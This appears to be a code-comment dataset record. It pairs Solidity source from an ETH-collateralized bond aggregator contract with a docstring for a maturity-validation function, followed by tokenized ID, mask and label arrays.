}
_updateBondGroupData();
emit UpdateMaturity(currentTerm.toUint64(), currentFeeBase, termInfo[currentTerm].maturity);
}
/**
* @notice Update total reward token amount for one term
* Only owner can call this function
* @param rewardRate is restricted from 10**8 (1 LIEN) to 10**14 (total supply of Lien token)
*/
function updateTotalReward(uint64 rewardRate) public onlyBonusProvider isRunning {
require(rewardRate >= 10**decimals && rewardRate <= 1000000 * 10**decimals, "Out of range");
totalRewards.push(TotalReward(currentTerm.toUint64() + 1, rewardRate));
}
function _updateBondGroupData() internal {
uint256 nextTimeStamp = STRATEGY.calcNextMaturity();
uint256 currentPriceE8 = ORACLE.latestPrice();
uint256 currentStrikePrice = STRATEGY.getCurrentStrikePrice(
currentPriceE8,
priceUnit,
REVERSE_ORACLE
);
_updatePriceUnit(currentPriceE8);
// Register SBT for next term
bytes32 SBTId = BOND_REGISTRATOR.registerSBT(
BONDMAKER,
currentStrikePrice.toUint64(),
nextTimeStamp.toUint64()
);
(address sbtAddress, , , ) = BONDMAKER.getBond(SBTId);
IERC20(sbtAddress).approve(address(DOTC), INFINITY);
currentTerm += 1;
TermInfo memory newTermInfo = TermInfo(
nextTimeStamp.toUint64(),
currentStrikePrice.toUint64(),
SBTId
);
termInfo[currentTerm] = newTermInfo;
BOND_PRICER.updateAcceptableMaturity(nextTimeStamp);
}
function _addLiquidity(uint256 amount) internal returns (bool success) {
(, uint256 unsentToken, uint256 addLiquidityTerm) = _settleTokens();
_updateBalanceDataForLiquidityMove(msg.sender, unsentToken, 0, addLiquidityTerm);
uint256 _currentTerm = currentTerm;
if (receivedCollaterals[msg.sender].value == 0) {
receivedCollaterals[msg.sender].term = uint128(_currentTerm);
}
receivedCollaterals[msg.sender].value += amount.toUint128();
totalReceivedCollateral[_currentTerm] += amount.toUint128();
emit SetAddLiquidity(msg.sender, _currentTerm, amount);
return true;
}
/**
* @notice Make a reservation for removing liquidity
* Collateral asset can be withdrawn from next term
* Share token to be removed is burned at this point
* Before remove liquidity, run _settleTokens()
*/
function removeLiquidity(uint128 amount) external override returns (bool success) {
(, uint256 unsentToken, uint256 addLiquidityTerm) = _settleTokens();
uint256 _currentTerm = currentTerm;
if (unremovedTokens[msg.sender].value == 0) {
unremovedTokens[msg.sender].term = uint128(_currentTerm);
}
unremovedTokens[msg.sender].value += amount;
totalUnremovedTokens[_currentTerm] += amount;
_updateBalanceDataForLiquidityMove(msg.sender, unsentToken, amount, addLiquidityTerm);
emit SetRemoveLiquidity(msg.sender, _currentTerm, amount);
return true;
}
function _settleTokens()
internal
returns (
uint256 unsentETH,
uint256 unsentToken,
uint256 addLiquidityTerm
)
{
uint256 _currentTerm = currentTerm;
uint128 lastRemoveLiquidityTerm = unremovedTokens[msg.sender].term;
uint128 lastRemoveLiquidityValue = unremovedTokens[msg.sender].value;
uint128 lastAddLiquidityTerm = receivedCollaterals[msg.sender].term;
uint128 lastAddLiquidityValue = receivedCollaterals[msg.sender].value;
if (_currentTerm == 0) {
return (0, 0, 0);
}
if (lastRemoveLiquidityValue != 0 && _currentTerm > lastRemoveLiquidityTerm) {
unsentETH = _applyDecimalGap(
uint256(lastRemoveLiquidityValue)
.mul(shareData[uint256(lastRemoveLiquidityTerm + 1)].totalCollateralPerToken)
.div(10**decimals),
false
);
if (unsentETH > 0) {
_sendTokens(msg.sender, unsentETH);
}
delete unremovedTokens[msg.sender];
}
if (lastAddLiquidityValue != 0 && _currentTerm > lastAddLiquidityTerm) {
unsentToken = _applyDecimalGap(
uint256(lastAddLiquidityValue).mul(10**decimals).div(
uint256(shareData[lastAddLiquidityTerm + 1].totalCollateralPerToken)
),
true
);
addLiquidityTerm = lastAddLiquidityTerm;
delete receivedCollaterals[msg.sender];
}
emit SettleLiquidity(msg.sender, _currentTerm, unsentETH, unsentToken);
}
/**
* @notice Increment share token for addLiquidity data
* Transfer collateral asset for remove liquidity data
*/
function settleTokens() external override returns (uint256 unsentETH, uint256 unsentToken) {
uint256 addLiquidityTerm;
(unsentETH, unsentToken, addLiquidityTerm) = _settleTokens();
_updateBalanceDataForLiquidityMove(msg.sender, unsentToken, 0, addLiquidityTerm);
}
/**
* @notice Update `startBondGroupId` to run `liquidateBonds()` more efficiently
* All bond groups before `startBondGroupId` has expired before maturity of previous term
*/
function updateStartBondGroupId() external override isRunning {
uint32 _startBondGroupId = startBondGroupId;
uint64 previousMaturity = termInfo[currentTerm - 1].maturity;
require(previousMaturity != 0, "Maturity shoudld exist");
while (true) {
(, uint256 maturity) = BONDMAKER.getBondGroup(_startBondGroupId);
if (maturity >= previousMaturity) {
startBondGroupId = _startBondGroupId;
return;
}
_startBondGroupId += 1;
}
}
/**
* @notice Liquidate and burn all bonds in this aggregator
* Aggregator can search for 50 bondGroup and burn 10 bonds one time
*/
function liquidateBonds() public override afterMaturity {
uint256 _currentTerm = currentTerm;
require(!liquidationData[_currentTerm].isLiquidated, "Expired");
if (liquidationData[_currentTerm].endBondGroupId == 0) {
liquidationData[_currentTerm].endBondGroupId = BONDMAKER.nextBondGroupID().toUint32();
}
// ToDo: Register least bond group ID
uint32 endIndex;
uint32 startIndex;
uint32 liquidateBondNumber;
uint64 maturity = termInfo[_currentTerm].maturity;
uint64 previousMaturity = termInfo[_currentTerm - 1].maturity;
{
uint256 ethAllowance = DOTC.ethAllowance(address(this));
if (ethAllowance > 0) {
DOTC.withdrawEth();
}
}
if (liquidationData[_currentTerm].liquidatedBondGroupID == 0) {
startIndex = startBondGroupId;
} else {
startIndex = liquidationData[_currentTerm].liquidatedBondGroupID;
}
if (liquidationData[_currentTerm].endBondGroupId - startIndex > 50) {
endIndex = startIndex + 50;
liquidationData[_currentTerm].liquidatedBondGroupID = endIndex;
} else {
endIndex = liquidationData[_currentTerm].endBondGroupId;
}
for (uint256 i = startIndex; i < endIndex; i++) {
liquidateBondNumber = _liquidateBondGroup(
i,
liquidateBondNumber,
maturity,
previousMaturity
);
if (liquidateBondNumber > 9) {
if (i == endIndex - 1) {
liquidationData[_currentTerm].isLiquidated = true;
} else {
liquidationData[_currentTerm].liquidatedBondGroupID = uint32(i + 1);
}
return;
}
}
if (endIndex == liquidationData[_currentTerm].endBondGroupId) {
liquidationData[_currentTerm].isLiquidated = true;
} else {
liquidationData[_currentTerm].liquidatedBondGroupID = endIndex;
}
}
function addSuitableBondGroup() external override isActive returns (uint256 bondGroupID) {
uint256 currentPriceE8 = ORACLE.latestPrice();
return _addSuitableBondGroup(currentPriceE8);
}
/**
* @notice Can not tranche bonds for 3 days from last execution of this function
*/
function trancheBonds() external override isActive endCoolTime {
uint256 currentPriceE8 = ORACLE.latestPrice();
uint256 bondGroupId = _getSuitableBondGroup(currentPriceE8);
if (bondGroupId == 0) {
bondGroupId = _addSuitableBondGroup(currentPriceE8);
}
(uint256 amount, uint256 ethAmount, uint256[2] memory reverseBonds) = STRATEGY
.getTrancheBonds(
BONDMAKER,
address(this),
bondGroupId,
currentPriceE8,
issuableBondGroupIds[currentTerm],
priceUnit,
REVERSE_ORACLE
);
if (ethAmount > 0) {
DOTC.depositEth{value: ethAmount}();
}
if (amount > 0) {
_issueBonds(bondGroupId, amount);
}
if (reverseBonds[1] > 0) {
// Burn bond and get collateral asset
require(
BONDMAKER.reverseBondGroupToCollateral(reverseBonds[0], reverseBonds[1]),
"Reverse"
);
}
lastTrancheTime = block.timestamp.toUint64();
emit TrancheBond(
uint64(bondGroupId),
uint64(amount),
uint64(reverseBonds[0]),
uint64(reverseBonds[1])
);
}
function _burnBond(
uint256 bondGroupId,
address bondAddress,
uint32 liquidateBondNumber,
bool isLiquidated
) internal returns (uint32, bool) {
BondTokenInterface bond = BondTokenInterface(bondAddress);
if (bond.balanceOf(address(this)) > 0) {
if (!isLiquidated) {
// If this bond group is not liquidated in _liquidateBondGroup, try liquidate
// BondMaker contract does not revert even if someone else calls 'BONDMAKER.liquidateBond()'
BONDMAKER.liquidateBond(bondGroupId, 0);
isLiquidated = true;
}
bond.burnAll();
liquidateBondNumber += 1;
}
return (liquidateBondNumber, isLiquidated);
}
function _liquidateBondGroup(
uint256 bondGroupId,
uint32 liquidateBondNumber,
uint64 maturity,
uint64 previousMaturity
) internal returns (uint32) {
(bytes32[] memory bondIds, uint256 _maturity) = BONDMAKER.getBondGroup(bondGroupId);
if (_maturity > maturity || (_maturity < previousMaturity && previousMaturity != 0)) {
return liquidateBondNumber;
}
bool isLiquidated;
for (uint256 i = 0; i < bondIds.length; i++) {
(address bondAddress, , , ) = BONDMAKER.getBond(bondIds[i]);
(liquidateBondNumber, isLiquidated) = _burnBond(
bondGroupId,
bondAddress,
liquidateBondNumber,
isLiquidated
);
}
return liquidateBondNumber;
}
function _getSuitableBondGroup(uint256 currentPriceE8) internal view returns (uint256) {
uint256 roundedPrice = STRATEGY.calcRoundPrice(currentPriceE8, priceUnit, 1);
mapping(uint256 => uint256) storage priceToGroupBondId
= strikePriceToBondGroup[currentTerm];
if (priceToGroupBondId[roundedPrice] != 0) {
return priceToGroupBondId[roundedPrice];
}
// Suitable bond range is in between current price +- 2 * priceUnit
for (uint256 i = 1; i <= 2; i++) {
if (priceToGroupBondId[roundedPrice - priceUnit * i] != 0) {
return priceToGroupBondId[roundedPrice - priceUnit * i];
}
if (priceToGroupBondId[roundedPrice + priceUnit * i] != 0) {
return priceToGroupBondId[roundedPrice + priceUnit * i];
}
}
}
function _addSuitableBondGroup(uint256 currentPriceE8) internal returns (uint256 bondGroupID) {
uint256 callStrikePrice = STRATEGY.calcCallStrikePrice(
currentPriceE8,
priceUnit,
REVERSE_ORACLE
);
uint256 _currentTerm = currentTerm;
TermInfo memory info = termInfo[_currentTerm];
callStrikePrice = _adjustPrice(info.strikePrice, callStrikePrice);
bondGroupID = BOND_REGISTRATOR.registerBondGroup(
BONDMAKER,
callStrikePrice,
info.strikePrice,
info.maturity,
info.SBTId
);
// If reverse oracle is set to aggregator, make Collateral/USD price
if (REVERSE_ORACLE) {
_addBondGroup(
bondGroupID,
STRATEGY.calcCallStrikePrice(currentPriceE8, priceUnit, false)
);
} else {
_addBondGroup(bondGroupID, callStrikePrice);
}
}
function _addBondGroup(uint256 bondGroupId, uint256 callStrikePriceInEthUSD) internal {
// Register bond group info
issuableBondGroupIds[currentTerm].push(bondGroupId);
strikePriceToBondGroup[currentTerm][callStrikePriceInEthUSD] = bondGroupId;
(bytes32[] memory bondIDs, ) = BONDMAKER.getBondGroup(bondGroupId);
(address bondType1Address, , , ) = BONDMAKER.getBond(bondIDs[1]);
// Infinite approve if no approval
if (IERC20(bondType1Address).allowance(address(this), address(DOTC)) == 0) {
IERC20(bondType1Address).approve(address(DOTC), INFINITY);
}
(address bondType2Address, , , ) = BONDMAKER.getBond(bondIDs[2]);
if (IERC20(bondType2Address).allowance(address(this), address(DOTC)) == 0) {
IERC20(bondType2Address).approve(address(DOTC), INFINITY);
}
(address bondType3Address, , , ) = BONDMAKER.getBond(bondIDs[3]);
if (IERC20(bondType3Address).allowance(address(this), address(DOTC)) == 0) {
IERC20(bondType3Address).approve(address(DOTC), INFINITY);
}
}
function _updatePriceUnit(uint256 currentPriceE8) internal {
uint256 multiplyer = currentPriceE8.div(50 * BASE_PRICE_UNIT);
if (multiplyer == 0) {
priceUnit = BASE_PRICE_UNIT;
} else {
priceUnit = ((25 * multiplyer * BASE_PRICE_UNIT) / 10).toUint64();
}
}
function _updateFeeBase() internal {
STRATEGY.registerCurrentFeeBase(
currentFeeBase,
shareData[currentTerm].totalCollateralPerToken,
shareData[currentTerm + 1].totalCollateralPerToken,
OWNER,
address(ORACLE),
REVERSE_ORACLE
);
changeSpread();
}
/**
* @dev When sbtStrikePrice and callStrikePrice have different remainder of 2,
* decrease callStrikePrice by 1 to avoid invalid line segment for register new bond
*/
function _adjustPrice(uint64 sbtStrikePrice, uint256 callStrikePrice)
internal
pure
returns (uint256)
{
return callStrikePrice.sub(callStrikePrice.sub(sbtStrikePrice) % 2);
}
function changeSpread() public virtual override {}
function _sendTokens(address user, uint256 amount) internal virtual {}
function _reserveAsset(uint256 reserveAmountRatioE8) internal virtual {}
function _issueBonds(uint256 bondgroupID, uint256 amount) internal virtual {}
function getCollateralAddress() external view virtual override returns (address) {}
function _applyDecimalGap(uint256 amount, bool isDiv) internal view virtual returns (uint256) {}
function getCollateralDecimal() external view virtual override returns (int16) {}
function getReserveAddress() external view virtual returns (address) {}
function getCollateralAmount() public view virtual override returns (uint256) {}
// Reward functions
/**
* @dev Update reward amount, then update balance
*/
function _updateBalanceData(address owner, int256 amount) internal {
BalanceData memory balanceData = balance[owner];
balanceData.rewardAmount = _calcNextReward(balanceData, currentTerm);
balanceData.term = uint64(currentTerm);
if (amount < 0) {
balanceData.balance = uint256(balanceData.balance)
.sub(uint256(amount * -1))
.toUint128();
} else {
balanceData.balance = uint256(balanceData.balance).add(uint256(amount)).toUint128();
}
balance[owner] = balanceData;
}
function _updateBalanceDataForLiquidityMove(
address owner,
uint256 addAmount,
uint256 removeAmount,
uint256 term
) internal {
BalanceData memory balanceData = balance[owner];
// Update reward amount before addliquidity
if (addAmount != 0) {
balanceData.rewardAmount = _calcNextReward(balanceData, term);
balanceData.term = uint64(term);
balanceData.balance = balanceData.balance = uint256(balanceData.balance)
.add(uint256(addAmount))
.toUint128();
}
// Update reward amount after addliquidity
balanceData.rewardAmount = _calcNextReward(balanceData, currentTerm);
balanceData.term = uint64(currentTerm);
// Update balance if remove liquidity
if (removeAmount != 0) {
balanceData.balance = uint256(balanceData.balance).sub(removeAmount).toUint128();
}
balance[owner] = balanceData;
}
/**
* @dev This function is called before change balance of share token
* @param term Reward amount is calculated from next term after this function is called to term `term`
*/
function _calcNextReward(BalanceData memory balanceData, uint256 term)
internal
view
returns (uint64 rewardAmount)
{
rewardAmount = balanceData.rewardAmount;
if (balanceData.balance > 0 && balanceData.term < term) {
uint64 index = uint64(totalRewards.length - 1);
uint64 referenceTerm = totalRewards[index].term;
uint64 rewardTotal = totalRewards[index].value;
for (uint256 i = term; i > balanceData.term; i--) {
if (i < referenceTerm) {
// If i is smaller than the term in which total reward amount is changed, update total reward amount
index -= 1;
rewardTotal = totalRewards[index].value;
referenceTerm = totalRewards[index].term;
}
// Reward amount is calculated by `total reward amount * user balance / total share`
rewardAmount = uint256(rewardAmount)
.add(
(uint256(rewardTotal).mul(balanceData.balance)).div(shareData[i].totalShare)
)
.toUint64();
}
}
}
/**
* @notice update reward amount and transfer reward token, then change reward amount to 0
*/
function claimReward() public override {
BalanceData memory userData = balance[msg.sender];
userData.rewardAmount = _calcNextReward(userData, currentTerm);
userData.term = uint64(currentTerm);
require(userData.rewardAmount > 0, "No Reward");
uint256 rewardAmount = userData.rewardAmount;
userData.rewardAmount = 0;
balance[msg.sender] = userData;
REWARD_TOKEN.safeTransfer(msg.sender, rewardAmount);
}
// ERC20 functions
/**
* @param amount If this value is uint256(-1) infinite approve
*/
function approve(address spender, uint256 amount) external override returns (bool) {
if (amount == uint256(-1)) {
amount = uint128(-1);
}
allowances[msg.sender][spender] = amount.toUint128();
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferToken(msg.sender, recipient, amount.toUint128());
}
/**
* @notice If allowance amount is uint128(-1), allowance amount is not updated
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
uint128 currentAllowance = allowances[sender][msg.sender];
if (currentAllowance < amount) {
return false;
}
// Skip if infinity approve
if (currentAllowance != uint128(-1)) {
allowances[sender][msg.sender] = uint256(allowances[sender][msg.sender])
.sub(amount)
.toUint128();
}
_transferToken(sender, recipient, amount.toUint128());
return true;
}
/**
* @dev Balance is changed by `_updateBalanceData` to reflect correct reward amount
*/
function _transferToken(
address from,
address to,
uint128 amount
) internal returns (bool) {
if (balance[from].balance < amount) {
return false;
}
_updateBalanceData(from, -1 * int256(amount));
_updateBalanceData(to, int256(amount));
emit Transfer(from, to, uint256(amount));
return true;
}
function balanceOf(address user) public view override returns (uint256) {
return balance[user].balance;
}
function totalSupply() public view override returns (uint256) {
return uint256(shareData[currentTerm].totalShare).sub(totalUnremovedTokens[currentTerm]);
}
function getLiquidityReservationData(address user)
public
view
returns (
uint128 receivedCollateralTerm,
uint128 receivedCollateralAmount,
uint128 removeTokenTerm,
uint128 removeTokenAmount
)
{
return (
receivedCollaterals[user].term,
receivedCollaterals[user].value,
unremovedTokens[user].term,
unremovedTokens[user].value
);
}
function getCurrentStatus()
public
view
override
returns (
uint256 term,
int16 feeBase,
uint32 uncheckbondGroupId,
uint64 unit,
uint64 trancheTime,
bool isDanger
)
{
return (
currentTerm,
currentFeeBase,
startBondGroupId,
priceUnit,
lastTrancheTime,
isTotalSupplyDanger
);
}
function getLiquidationData(uint256 term)
public
view
override
returns (
bool isLiquidated,
uint32 liquidatedBondGroupID,
uint32 endBondGroupId
)
{
if (term == 0) {
term = currentTerm;
}
isLiquidated = liquidationData[term].isLiquidated;
liquidatedBondGroupID = liquidationData[term].liquidatedBondGroupID;
endBondGroupId = liquidationData[term].endBondGroupId;
}
function totalShareData(uint256 term)
public
view
override
returns (uint128 totalShare, uint128 totalCollateralPerToken)
{
if (term == 0) {
term = currentTerm;
}
return (shareData[term].totalShare, shareData[term].totalCollateralPerToken);
}
function getBondGroupIDFromTermAndPrice(uint256 term, uint256 price)
public
view
override
returns (uint256 bondGroupID)
{
price = STRATEGY.calcRoundPrice(price, priceUnit, 1);
if (term == 0) {
term = currentTerm;
}
return strikePriceToBondGroup[term][price];
}
function getInfo()
public
view
override
returns (
address bondMaker,
address strategy,
address dotc,
address bondPricerAddress,
address oracleAddress,
address rewardTokenAddress,
address registratorAddress,
address owner,
bool reverseOracle,
uint64 basePriceUnit,
uint128 maxSupply
)
{
return (
address(BONDMAKER),
address(STRATEGY),
address(DOTC),
address(BOND_PRICER),
address(ORACLE),
address(REWARD_TOKEN),
address(BOND_REGISTRATOR),
OWNER,
REVERSE_ORACLE,
BASE_PRICE_UNIT,
uint128(uint128(-1) / (10**uint256(MAX_SUPPLY_DENUMERATOR)))
);
}
function getTermInfo(uint256 term)
public
view
override
returns (
uint64 maturity,
uint64 solidStrikePrice,
bytes32 SBTID
)
{
if (term == 0) {
term = currentTerm;
}
return (termInfo[term].maturity, termInfo[term].strikePrice, termInfo[term].SBTId);
}
/**
* @notice return user's balance including unsettled share token
*/
function getExpectedBalance(address user, bool hasReservation)
external
view
override
returns (uint256 expectedBalance)
{
expectedBalance = balance[user].balance;
if (receivedCollaterals[user].value != 0) {
hasReservation = true;
if (currentTerm > receivedCollaterals[msg.sender].term) {
expectedBalance += _applyDecimalGap(
uint256(receivedCollaterals[msg.sender].value).mul(10**decimals).div(
uint256(
shareData[receivedCollaterals[msg.sender].term + 1]
.totalCollateralPerToken
)
),
true
);
}
}
}
/**
* @notice Return current phase of aggregator
*/
function getCurrentPhase() public view override returns (AggregatorPhase) {
if (currentTerm == 0) {
return AggregatorPhase.BEFORE_START;
} else if (block.timestamp <= termInfo[currentTerm].maturity) {
if (block.timestamp <= lastTrancheTime + COOLTIME) {
return AggregatorPhase.COOL_TIME;
}
return AggregatorPhase.ACTIVE;
} else if (
block.timestamp > termInfo[currentTerm].maturity &&
!liquidationData[currentTerm].isLiquidated
) {
return AggregatorPhase.AFTER_MATURITY;
}
return AggregatorPhase.EXPIRED;
}
/**
* @notice Calculate expected reward amount at this point
*/
function getRewardAmount(address user) public view override returns (uint64) {
return _calcNextReward(balance[user], currentTerm);
}
function getTotalRewards() public view override returns (TotalReward[] memory) {
return totalRewards;
}
function isTotalSupplySafe() public view override returns (bool) {
return !isTotalSupplyDanger;
}
function getTotalUnmovedAssets() public view override returns (uint256, uint256) {
return (totalReceivedCollateral[currentTerm], totalUnremovedTokens[currentTerm]);
}
function allowance(address owner, address spender) public view override returns (uint256) {
return allowances[owner][spender];
}
function getCollateralPerToken(uint256 term) public view override returns (uint256) {
return shareData[term].totalCollateralPerToken;
}
function getBondGroupIdFromStrikePrice(uint256 term, uint256 strikePrice)
public
view
override
returns (uint256)
{
return strikePriceToBondGroup[term][strikePrice];
}
function getBalanceData(address user)
external
view
override
returns (
uint128 amount,
uint64 term,
uint64 rewardAmount
)
{
return (balance[user].balance, balance[user].term, balance[user].rewardAmount);
}
/**
* @notice Get suitable bond groups for current price
*/
function getIssuableBondGroups() public view override returns (uint256[] memory) {
return issuableBondGroupIds[currentTerm];
}
}
// File: contracts/BondToken_and_GDOTC/bondMaker/BondMakerCollateralizedEthInterface.sol
pragma solidity 0.7.1;
interface BondMakerCollateralizedEthInterface is BondMakerInterface {
function issueNewBonds(uint256 bondGroupID) external payable returns (uint256 amount);
}
// File: contracts/BondToken_and_GDOTC/util/TransferETH.sol
pragma solidity 0.7.1;
abstract contract TransferETH is TransferETHInterface {
receive() external payable override {
emit LogTransferETH(msg.sender, address(this), msg.value);
}
function _hasSufficientBalance(uint256 amount) internal view returns (bool ok) {
address thisContract = address(this);
return amount <= thisContract.balance;
}
/**
* @notice transfer `amount` ETH to the `recipient` account with emitting log
*/
function _transferETH(
address payable recipient,
uint256 amount,
string memory errorMessage
) internal {
require(_hasSufficientBalance(amount), errorMessage);
(bool success, ) = recipient.call{value: amount}(""); // solhint-disable-line avoid-low-level-calls
require(success, "transferring Ether failed");
emit LogTransferETH(address(this), recipient, amount);
}
function _transferETH(address payable recipient, uint256 amount) internal {
_transferETH(recipient, amount, "TransferETH: transfer amount exceeds balance");
}
}
// File: contracts/contracts/SimpleAggregator/ReserveETH.sol
pragma solidity 0.7.1;
contract ReserveEth is TransferETH {
address owner;
modifier onlyOwner() {
require(msg.sender == owner, "Error: Only owner can execute this function");
_;
}
constructor() {
owner = msg.sender;
}
/**
* @notice Send ETH to user
* Only aggregator can call this function
*/
function sendAsset(address payable user, uint256 amount) public onlyOwner {
_transferETH(user, amount);
}
}
// File: contracts/contracts/SimpleAggregator/SimpleAggregatorCollateralizedEth.sol
pragma solidity 0.7.1;
contract SimpleAggregatorCollateralizedEth is SimpleAggregator, TransferETH {
using SafeMath for uint256;
ReserveEth internal immutable reserveEth;
uint16 internal constant DECIMAL_GAP = 10;
constructor(
LatestPriceOracleInterface _ethOracle,
BondPricerWithAcceptableMaturity _pricer,
SimpleStrategyInterface strategy,
ERC20 _rewardToken,
BondRegistratorInterface _registrator,
ExchangeInterface exchangeAddress,
VolatilityOracleInterface _volOracle,
uint64 _priceUnit,
uint64 _firstRewardRate
)
SimpleAggregator(
_ethOracle,
_pricer,
strategy,
_rewardToken,
_registrator,
exchangeAddress,
_priceUnit,
_firstRewardRate,
false,
_volOracle
)
{
BondMakerInterface _bondMaker = exchangeAddress.bondMakerAddress();
int16 feeBaseE4 = strategy.getCurrentSpread(msg.sender, address(_ethOracle), false);
currentFeeBase = feeBaseE4;
exchangeAddress.createVsBondPool(_bondMaker, _volOracle, _pricer, _pricer, feeBaseE4);
exchangeAddress.createVsEthPool(_ethOracle, _pricer, feeBaseE4, true);
exchangeAddress.createVsEthPool(_ethOracle, _pricer, feeBaseE4, false);
reserveEth = new ReserveEth();
}
function changeSpread() public override {
int16 _currentFeeBase = STRATEGY.getCurrentSpread(OWNER, address(ORACLE), false);
require(_currentFeeBase <= 1000 && _currentFeeBase >= 5, "Invalid feebase");
bytes32 poolIDETHSell = DOTC.generateVsEthPoolID(address(this), true);
bytes32 poolIDETHBuy = DOTC.generateVsEthPoolID(address(this), false);
bytes32 poolIDBond = DOTC.generateVsBondPoolID(address(this), address(BONDMAKER));
DOTC.updateVsEthPool(poolIDETHSell, ORACLE, BOND_PRICER, _currentFeeBase);
DOTC.updateVsEthPool(poolIDETHBuy, ORACLE, BOND_PRICER, _currentFeeBase);
DOTC.updateVsBondPool(poolIDBond, volOracle, BOND_PRICER, BOND_PRICER, _currentFeeBase);
currentFeeBase = _currentFeeBase;
}
/**
* @notice Receive ETH, then call _addLiquidity
*/
function addLiquidity() external payable isSafeSupply returns (bool success) {
success = _addLiquidity(msg.value);
}
function _sendTokens(address user, uint256 amount) internal override {
reserveEth.sendAsset(payable(user), amount);
}
function _reserveAsset(uint256 collateralPerTokenE8) internal override {
uint256 amount = _applyDecimalGap(
uint256(totalUnremovedTokens[currentTerm]).mul(collateralPerTokenE8).div(10**decimals),
false
);
_transferETH(address(reserveEth), amount);
}
function _issueBonds(uint256 bondgroupID, uint256 amount) internal override {
BondMakerCollateralizedEthInterface bm = BondMakerCollateralizedEthInterface(
address(BONDMAKER)
);
bm.issueNewBonds{value: amount.mul(10**DECIMAL_GAP).mul(1002).div(1000)}(bondgroupID);
}
function getCollateralAddress() external pure override returns (address) {
return address(0);
}
/**
* @dev Decimal gap between ETH and share token is 10
*/
function _applyDecimalGap(uint256 amount, bool isDiv) internal pure override returns (uint256) {
if (isDiv) {
return amount / 10**DECIMAL_GAP;
} else {
return amount * 10**DECIMAL_GAP;
}
}
/**
* @notice Get available collateral amount in this term
*/
function getCollateralAmount() public view override returns (uint256) {
return address(this).balance.sub(totalReceivedCollateral[currentTerm]);
}
function getCollateralDecimal() external pure override returns (int16) {
return 18;
}
function getReserveAddress() external view override returns (address) {
return address(reserveEth);
}
}
|
* @notice Add this function to CustomGeneralizedPricing When user sells bond which expired or whose maturity is after the aggregator's maturity, revert the transaction/
|
function _isAcceptable(
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity
) internal view {
require(
etherPriceE8 > 0 && etherPriceE8 < 100000 * 10**8,
"ETH price should be between $0 and $100000"
);
require(
ethVolatilityE8 > 0 && ethVolatilityE8 < 10 * 10**8,
"ETH volatility should be between 0% and 1000%"
);
require(untilMaturity >= 0, "the bond has been expired");
require(untilMaturity <= 12 weeks, "the bond maturity must be less than 12 weeks");
require(
_getBlockTimestampSec().add(uint256(untilMaturity)) <= _acceptableMaturity,
"the bond maturity must not exceed the current maturity of aggregator"
);
}
| 1,973,397 |
[
1,
986,
333,
445,
358,
6082,
12580,
1235,
52,
1512,
310,
5203,
729,
357,
3251,
8427,
1492,
7708,
578,
8272,
29663,
353,
1839,
326,
20762,
1807,
29663,
16,
15226,
326,
2492,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
291,
5933,
429,
12,
203,
3639,
509,
5034,
225,
2437,
5147,
41,
28,
16,
203,
3639,
509,
5034,
13750,
17431,
30139,
41,
28,
16,
203,
3639,
509,
5034,
3180,
15947,
2336,
203,
565,
262,
2713,
1476,
288,
203,
3639,
2583,
12,
203,
5411,
225,
2437,
5147,
41,
28,
405,
374,
597,
225,
2437,
5147,
41,
28,
411,
25259,
380,
1728,
636,
28,
16,
203,
5411,
315,
1584,
44,
6205,
1410,
506,
3086,
271,
20,
471,
271,
21,
11706,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
13750,
17431,
30139,
41,
28,
405,
374,
597,
13750,
17431,
30139,
41,
28,
411,
1728,
380,
1728,
636,
28,
16,
203,
5411,
315,
1584,
44,
6626,
30139,
1410,
506,
3086,
374,
9,
471,
4336,
16407,
203,
3639,
11272,
203,
3639,
2583,
12,
12198,
15947,
2336,
1545,
374,
16,
315,
5787,
8427,
711,
2118,
7708,
8863,
203,
3639,
2583,
12,
12198,
15947,
2336,
1648,
2593,
17314,
16,
315,
5787,
8427,
29663,
1297,
506,
5242,
2353,
2593,
17314,
8863,
203,
3639,
2583,
12,
203,
5411,
389,
588,
1768,
4921,
2194,
7675,
1289,
12,
11890,
5034,
12,
12198,
15947,
2336,
3719,
1648,
389,
9436,
429,
15947,
2336,
16,
203,
5411,
315,
5787,
8427,
29663,
1297,
486,
9943,
326,
783,
29663,
434,
20762,
6,
203,
3639,
11272,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-10-28
*/
// File: contracts/sol6/IERC20.sol
pragma solidity 0.6.6;
interface IERC20 {
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
